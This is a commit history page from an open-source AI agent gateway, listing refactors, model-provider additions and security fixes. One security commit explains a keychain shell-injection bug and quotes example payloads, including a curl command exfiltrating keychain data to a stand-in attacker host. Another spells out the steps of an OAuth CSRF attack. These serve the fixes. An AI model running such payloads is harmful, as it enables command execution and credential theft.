Commit Graph
1716 Commits
Author SHA1 Message Date
Peter Steinberger 76e4e9d176 perf(test): reduce skills + update + memory suite overhead 2026-02-14 16:36:15 +00:00
Peter Steinberger ebc68861a6 fix: remove unused imports 2026-02-14 17:35:16 +01:00
Peter Steinberger d3428053d9 fix: redact config values in skills status 2026-02-14 17:35:16 +01:00
Peter Steinberger b908388245 test(security): remove redundant cli-credentials e2e tests 2026-02-14 17:25:48 +01:00
Peter Steinberger 66d7178f2d fix(security): eliminate shell from Claude CLI keychain refresh 2026-02-14 17:24:29 +01:00
Aether AI 9dce3d8bf8 fix(security): prevent shell injection in macOS keychain credential write (#15924)
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).

## Vulnerable Code

The previous implementation built a shell command via string
interpolation with single-quote escaping:

  execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)

The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.

## Attack Vector

User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`

These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.

## Fix

execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:

  execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])

This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
2026-02-14 17:06:10 +01:00
Peter Steinberger eb60e2e1b2 fix(security): harden CLI cleanup kill and matching 2026-02-14 16:49:38 +01:00
Peter Steinberger 6084d13b95 fix(security): scope CLI cleanup to owned child PIDs 2026-02-14 16:43:35 +01:00
Peter Steinberger d82c5ea9d1 refactor(utils): share safe json stringify 2026-02-14 15:39:46 +00:00
Peter Steinberger 0dbe087ef8 refactor(pi-embedded-runner): dedupe attempt params 2026-02-14 15:39:45 +00:00
Peter Steinberger 270779b2cd refactor(shared): derive requirements from metadata 2026-02-14 15:39:45 +00:00
Peter Steinberger 4f61a3f527 refactor(shared): centralize requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger 268c14f021 refactor(tools): centralize default policy steps 2026-02-14 15:39:45 +00:00
Peter Steinberger f97ad8f288 refactor(tools): share tool policy pipeline 2026-02-14 15:39:45 +00:00
Peter Steinberger ece55b4682 refactor(shared): dedupe frontmatter parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger bc0160d0f2 refactor(shared): dedupe requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger 06bc9f368b refactor(nodes): share node id matcher 2026-02-14 15:39:45 +00:00
Peter Steinberger b769b65b48 refactor(browser): share proxy file helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger 25ecd4216c refactor(shared): dedupe config path eval 2026-02-14 15:39:45 +00:00
Peter Steinberger 60a7625f2a refactor(agents): share glob matcher 2026-02-14 15:39:44 +00:00
Peter Steinberger 50a6e0e69e fix: strip leading empty lines in sanitizeUserFacingText (#16280)
* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)
2026-02-14 16:34:02 +01:00
JakeandTak Hoffman 3881af5b37 fix: strip leading whitespace from sanitizeUserFacingText output (#16158)
* fix: strip leading whitespace from sanitizeUserFacingText output

LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.

Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value

Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.

* Changelog: note sanitizeUserFacingText whitespace normalization

Co-authored-by: Tak Hoffman <[email protected]>

---------

Co-authored-by: Tak Hoffman <[email protected]>
2026-02-14 09:23:05 -06:00
Peter Steinberger 1f1fc095a0 refactor(sandbox): auto-recreate browser container on config changes (#16254) 2026-02-14 15:47:59 +01:00
Aether AIandPeter Steinberger 3967ece625 fix(security): OC-25 — Validate OAuth state parameter to prevent CSRF attacks (#16058)
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)

The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:

1. State extracted from callback URL was never compared against the
   expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
   fabricated a matching state using expectedState, making the caller's
   CSRF check always pass

## Attack Flow

1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session

Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
  non-URL input
- Add comprehensive unit tests for state validation

Remediated by Aether AI Agent security analysis.

* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)

---------

Co-authored-by: Peter Steinberger <[email protected]>
2026-02-14 15:28:52 +01:00
cb9a5e1cb9 feat(sandbox): separate bind mounts for browser containers (#16230)
* feat(sandbox): add separate browser.binds config for browser containers

Allow configuring bind mounts independently for browser containers via
sandbox.browser.binds. When set, browser containers use browser-specific
binds instead of inheriting docker.binds. Falls back to docker.binds
when browser.binds is not configured for backwards compatibility.

Closes #14614

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(sandbox): honor empty browser binds override (#16230) (thanks @seheepeak)

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Peter Steinberger <[email protected]>
2026-02-14 15:27:41 +01:00
Peter Steinberger 3aa94afcfd fix(security): harden archive extraction (#16203)
* fix(browser): confine upload paths for file chooser

* fix(browser): sanitize suggested download filenames

* chore(lint): avoid control regex in download sanitizer

* test(browser): cover absolute escape paths

* docs(browser): update upload example path

* refactor(browser): centralize upload path confinement

* fix(infra): harden tmp dir selection

* fix(security): harden archive extraction

* fix(infra): harden tar extraction filter
2026-02-14 14:42:08 +01:00
Peter Steinberger bf080c2338 Merge remote-tracking branch 'origin/main' 2026-02-14 13:36:18 +01:00
Tak Hoffman 274da72c38 Revert "fix: don't auto-create HEARTBEAT.md on workspace init (openclaw#12027) thanks @shadril238" (#16183)
This reverts commit 386bb0c618.
2026-02-14 06:33:14 -06:00
Peter Steinberger 83248f7603 Merge remote-tracking branch 'origin/main' 2026-02-14 13:30:22 +01:00
Peter Steinberger 318379cdba fix(gateway): bind system.run approvals to exec approvals 2026-02-14 13:27:45 +01:00
Peter Steinberger 6dd6bce997 fix(security): enforce sandbox bridge auth 2026-02-14 13:17:41 +01:00
Peter Steinberger 4711a943e3 fix(browser): authenticate sandbox browser bridge server 2026-02-14 12:54:16 +01:00
Peter Steinberger 6182d3ef85 test: increase live-model retry token budget for reasoning-first providers 2026-02-14 12:23:51 +01:00
Peter Steinberger fdda261478 fix: align NVIDIA provider docs and model ids (#11606) 2026-02-14 05:48:40 +01:00
Gabriel e0132514f6 fix: needed to use format:fix 2026-02-14 05:48:40 +01:00
Gabriel 3feb5d1f10 fix: LINT AGAIN 2026-02-14 05:48:40 +01:00
Gabriel f90a39e984 fix: my mistakes 2026-02-14 05:48:40 +01:00
Gabriel 8f2884b986 fix: i am fixing all the changes that claude made. vibe coding is not there yet. anyways, i fixed the issues that the bot told me to fix 2026-02-14 05:48:40 +01:00
anthropic-code-agent[bot]andthesomewhatyou c640b5f86c feat: add NVIDIA API provider integration
Add support for NVIDIA's API (https://integrate.api.nvidia.com/v1) with three models:
- nvidia/llama-3.1-nemotron-70b-instruct (default)
- nvidia/llama-3.3-70b-instruct
- nvidia/mistral-nemo-minitron-8b-8k-instruct

Users can configure via NVIDIA_API_KEY environment variable or auth profiles.

Co-authored-by: thesomewhatyou <[email protected]>
2026-02-14 05:48:40 +01:00
89fa93ed75 feat: support freshness parameter for Perplexity web_search provider (#15343)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 01aba2bfba053c028f62970dcd153b19d00c5e3b
Co-authored-by: echoVic <[email protected]>
Co-authored-by: sebslight <[email protected]>
Reviewed-by: @sebslight
2026-02-13 22:18:16 -05:00
Peter Steinberger 8c3cc793b7 fix: dedupe before_tool_call in embedded runtime (#15635) (thanks @lailoo) 2026-02-14 02:50:35 +01:00
damaozi 534e4213a1 fix(hooks): deduplicate before_tool_call hook in toToolDefinitions (#15502) 2026-02-14 02:50:35 +01:00
3b5a9c14dd Fix: Preserve Per-Agent Exec Override After Session Compaction (#15833)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9dfe5bdf230422721f548cffc1a93a654c369cd7
Co-authored-by: napetrov <[email protected]>
Co-authored-by: steipete <[email protected]>
Reviewed-by: @steipete
2026-02-14 02:34:04 +01:00
Peter Steinberger 0b52a520d6 perf(web-fetch): memoize readability dependency loading 2026-02-14 01:29:45 +00:00
8316571efe fix(venice): disable streaming to prevent SDK crash (#15878)
* fix(venice): disable streaming to prevent SDK crash with usage-only chunks (#15819)

Venice.ai API returns SSE chunks containing only usage metadata without
a choices array. The SDK crashes trying to access choices[0] on these
chunks with: Cannot read properties of undefined (reading '0')

Changes:
- Disable streaming by default for all Venice models
- Apply to both static catalog and dynamically discovered models
- Users can explicitly enable streaming in config if needed

This is a workaround until the SDK handles Venice's streaming format.

Fixes #15819

* fix(venice): avoid usage streaming chunks for Venice models (openclaw#15878) thanks @Shuai-DaiDai

---------

Co-authored-by: 帅小呆1号 <[email protected]>
Co-authored-by: Peter Steinberger <[email protected]>
2026-02-14 02:23:35 +01:00
87b31acbb5 feat: add GLM-5 model support (#14352) (#15867)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0e3289a5944843241396b5b95461a5892f92acd9
Co-authored-by: battman21 <[email protected]>
Co-authored-by: steipete <[email protected]>
Reviewed-by: @steipete
2026-02-14 02:13:42 +01:00
Peter Steinberger 6daa4911e7 perf(subagents): speed announce retry polling and trim duplicate e2e coverage 2026-02-14 00:28:20 +00:00
Shadril Hassan ShifatandTak Hoffman 386bb0c618 fix: don't auto-create HEARTBEAT.md on workspace init (openclaw#12027) thanks @shadril238
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: shadril238 <[email protected]>
Co-authored-by: Tak Hoffman <[email protected]>
2026-02-13 18:24:22 -06:00
Sunwoo Yu 11702290ff feat(ollama): add native /api/chat provider for streaming + tool calling (#11853)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0a723f98e654e6bc2f312f29a8c97c3d63bcedb2
Co-authored-by: BrokenFinger98 <[email protected]>
Co-authored-by: steipete <[email protected]>
Reviewed-by: @steipete
2026-02-14 01:20:42 +01:00
Shadril Hassan ShifatandTak Hoffman 5378583da1 fix(discord): Apply historyLimit to channel/group sessions to prevent compaction bypass (openclaw#11356) thanks @shadril238
Verified:
- pnpm build
- pnpm check
- pnpm test (ran; one unrelated existing failure in models forward-compat test)
- pnpm vitest src/agents/pi-embedded-runner.history-limit-from-session-key.test.ts

Co-authored-by: shadril238 <[email protected]>
Co-authored-by: Tak Hoffman <[email protected]>
2026-02-13 18:18:57 -06:00